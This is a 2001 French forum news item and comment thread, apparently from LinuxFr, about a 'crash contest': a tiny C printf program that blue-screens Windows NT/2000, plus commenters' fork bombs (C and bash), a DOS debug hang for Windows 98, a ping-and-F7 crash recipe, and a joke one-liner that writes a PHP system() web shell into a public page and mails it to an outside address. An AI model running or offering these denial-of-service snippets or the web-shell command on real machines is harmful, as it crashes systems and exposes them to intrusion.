Faire un don ! | | style | statistiques | contactez-nous | plan | lettre d'information

Liens connexes

Dépêche modérée par

: Concours de plantage

Posté par G. R. (page perso, ). Modéré le 29 octobre 2001.
Ce matin, en lisant mes mails, je suis tombé sur le plus petit programme en "user-space" (espace d'exécution pour utilisateurs normaux pour ceux qui ne parlent pas le langage technico-technique) qui fait planter Windows (versions NT 4 et 2000).

L'idée m'est donc venu d'essayer de faire la même chose sous GNU/Linux, et je n'ai pas trouvé.
Alors et vous, avez-vous une idée ?

Voici le code pré-cité :

#include <stdio.h>
int main (void) {
while (1)
printf("\t\b\b\b ") ;
return EXIT_SUCCESS ;
}

> Lire la dépêche (29 commentaires, moyenne: 3,5).  

Cette discussion est archivée, il n'est plus possible de laisser des commentaires.

Note : les commentaires appartiennent à ceux qui les ont postés. Nous n'en sommes pas responsables.

Linux aussi

Posté par G. R. (page perso, ) le 29/10/2001 à 09:06. (lien). Évalué à 8.

Ce programme ne plante pas sous Windows 98.
De plus, c'est un bug dans la console (hum) par défaut de Windows NT, puisque si le programme est lancé dans une autre console, ça ne plante plus.

Sous linux, un

while(fork()) ;

devrait faire l'affaire non ?
ça ne fait pas directement planter la machine, mais elle est inutilisable et il ne reste plus qu'à redémarer sauvagement.

Effectivement !

Posté par Sylvain Rampacek (Jabber id, page perso, ) le 29/10/2001 à 10:13. (lien). Évalué à 6.

Oui, je confirme, ça plante bien sous win2k pro sans aucun "service pack" d'installé !

Exécuter une fois le printf, ça passe...

Mais dès qu'on le fait plus qu'une fois, et ben un bel écran bleu arrive !

Ben ça s'ammeliore

Posté par Francois Revol (page perso, ) le 29/10/2001 à 11:01. (lien). Évalué à 0.

Oui, sous win98 3 octets suffisent:
c:\>debug
-a
cli
jmp 100

-g

[+] (si vous n'avez rien d'autre a faire...)

Posté par niclone (Jabber id, page perso, ) le 29/10/2001 à 11:29. (lien). Évalué à -1.

sans ulimit, ca peut faire mal:

#!/bin/bash
while ((1)); do
$0 &
done

wait and see

Posté par cornofulgur () le 29/10/2001 à 13:08. (lien). Évalué à 1.

$ echo "< tt ><? print system($crackme) ?>< /tt >" \
| tee public_html/index.php \
| mailx -s "U LAMERZ" warlordz@ccc.nl

--
# strings /proc/kcore | grep CCC >> /var/log/warlords

XP aussi ;-)

Posté par Alexis B. () le 29/10/2001 à 19:46. (lien). Évalué à 5.

Petit bonus de ce matin (source BugTraq), ça marche aussi sur Windows XP ;-)

Sinon, un autre feu d'artifice pour Win2k (source BugTraq aussi, fin juillet 2001) :

- lancez une invite de commande
- ping une_ip
- pendant que ping affiche des données,
appuyez sur F7 puis Enter
- oh la belle bleue ;-)


Amusez-vous bien,

-- Alexis

Désolé, mon code est plus petit :

Posté par Anonyme () le 30/10/2001 à 09:00. (lien). Évalué à 1.

main()
{
printf("\t\b\b ");
}

Pas besoin du while(1) !!!!

Revenir en haut de page